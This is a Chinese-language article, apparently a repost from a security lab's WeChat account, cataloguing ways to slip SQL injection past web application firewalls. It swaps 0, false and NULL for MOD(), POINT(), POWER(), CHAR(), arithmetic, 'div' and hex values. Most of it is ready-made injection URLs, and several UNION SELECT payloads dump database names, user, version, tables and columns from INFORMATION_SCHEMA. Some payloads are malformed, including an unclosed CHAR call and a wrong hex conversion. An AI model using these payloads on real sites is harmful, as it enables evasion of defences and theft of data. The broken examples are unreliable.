使用 And 0 的传统方式
And 0 的普通用法很容易被 WAF 检测到并立即触发它,因此无法使用该查询。下面的示例描述了在 SQL 注入中使用 false 值的传统方式。
|
使用 And 0 的另一种方法
以下方法是其各自的 SQL 支持的新发现的查询,作为声明 false、null 或 0 值的新方法。
1) 任何等于 0 的数学/算术或逻辑问题
And 1*0
And 1-1
And 0/1
例如:
http://website.com/index.php?id=1’ and 1*0 order by 10–
2) 使用MOD()
|
使用的 mod() 函数将输出为 0
例如:
http://website.com/index.php?id=1 and mod(29,9) Order by 10–
3) 使用POINT()
|
例如:
http://website.com/index.php?id=1 and point(29,9) Order by 10–
4) 使用POWER()
|
例如:
http://website.com/index.php?id=1 and power(5,5) Order by 10–
非法参数数据类型
错误通知非法参数数据类型INT和操作’=’的行,与条件中包含的列的数据类型有关。由于许多原因,可能会出现此问题。
1) 用于操作MOD
|
例如:
http://website.com/index.php?id=1 % point(29,9) Order by 10–
2) 用于操作&
& = Bitwise And
&& = Logical And
例如:
http://website.com/index.php?id=1 && point(29,9) Order by 10–
3) 用于操作或
| = Bitwise OR
|| = Logical OR, sometimes use for Concatanation
例如:
http://website.com/index.php?id=1 || point(29,9) Order by 10–
使用 Null 的传统方式
Null 的普通用法很容易被 WAF 检测到并立即触发它,因此无法使用该查询。下面的示例描述了在 SQL 注入中使用 false 值的传统方式。
Union Select null, null, null, null
使用 Null 的另一种方法
1) 使用0
UNION SELECT 0,0,0,0
例如:
http : //website.com/index.php?id =1 div 0 Union Select 0 , 0 , 0 , 0(SELECT+GROUP_CONCAT(schema_name+SEPARATOR+0x3c62723e)+FROM+INFORMATION_SCHEMA.SCHEMATA), 0 , 0 –+”
2)使用假
|
例如:
http : //website.com/index.php?id =1 div false Union Select false , false , false , false,SELECT+GROUP_CONCAT(schema_name+SEPARATOR+0x3c62723e)+FROM+INFORMATION_SCHEMA.SCHEMATA), false – +
3) 使用char()
UNION SELECT char(null),char(null),char(null),char(null)
UNION SELECT char(false),char(false,char(false),char(false)
UNION SELECT char(0),char(0),char(0),char(0)
UNION SELECT char(0x4e554c4c),char(0x4e554c4c),char(0x4e554c4c),char(0x4e554c4c)
例如:
http://website.com/index.php?id=1 div char(false) Union Select “char(false) div char(false) Union Select char(false),char(false),char(false),char(false),concat(0x222f3e,0x3c62723e,0x3c62723e,’
’,’Database :: ‘,database(),0x3c62723e,’User ::’,user(),0x3c62723e,’Version ::’,version(),0x3c62723e,user(),make_set(6,@:=0x0a, (select(1)from(information_schema.columns)where@:=make_set(511,@,0x3c6c693e,table_name,column_name)),@),0x3c62723e),char(false)–+”,char(false),char(false),char(false),char(false),char(false)–+
4) 使用算术或逻辑运算符
UNION SELECT (0*1337-0),(0*1337-0),(0*1337-0),(0*1337-0)
UNION SELECT 34=35,34=35,34=35,34=35
例如:
http://website.com/index.php?id=1 div (0*1337-0) Union Select "(0*1337-0) div (0*1337-0) Union Select (0*1337-0),(0*1337-0),(0*1337-0),(0*1337-0),concat(0x222f3e,0x3c62723e,0x3c62723e,'<br>','Database ::',database(),0x3c62723e,'User :: ',user(),0x3c62723e,'Version ::',version(),0x3c62723e,user(),make_set(6,@:=0x0a, (select(1)from(information_schema.columns)where@:=make_set(511,@,0x3c6c693e,table_name,column_name)),@),0x3c62723e),(0*1337-0)--+",(0*1337-0),(0*1337-0), (0*1337-0),(0*1337-0),(0*1337-0)--+
使用 0xHEX 值绕过静态 Web 应用程序防火墙
由于 0xHEX 值在 SQL 查询和注入负载中被接受并广泛使用,因此它是绕过基于静态的防火墙的好方法。使用这种技术,可以避免使用诸如NULL、false或 ‘ (单引号)之类的词。下面是现有的有效载荷,但它们各自的值被转换为 0xHEX 格式。
SELECT CHAR(NULL); → SELECT CHAR(0x4e554c4c);
SELECT CHAR(0) → SELECT CHAR(0x30);
SELECT MOD(29, 9); → SELECT MOD(0x3239, 0x34);
SELECT POINT(29, 9); → SELECT POINT(0x3239, 0x39);
原文始发于微信公众号(Khan安全攻防实验室):通过 SQL 函数绕过 SQL 注入 WAF 的案例研究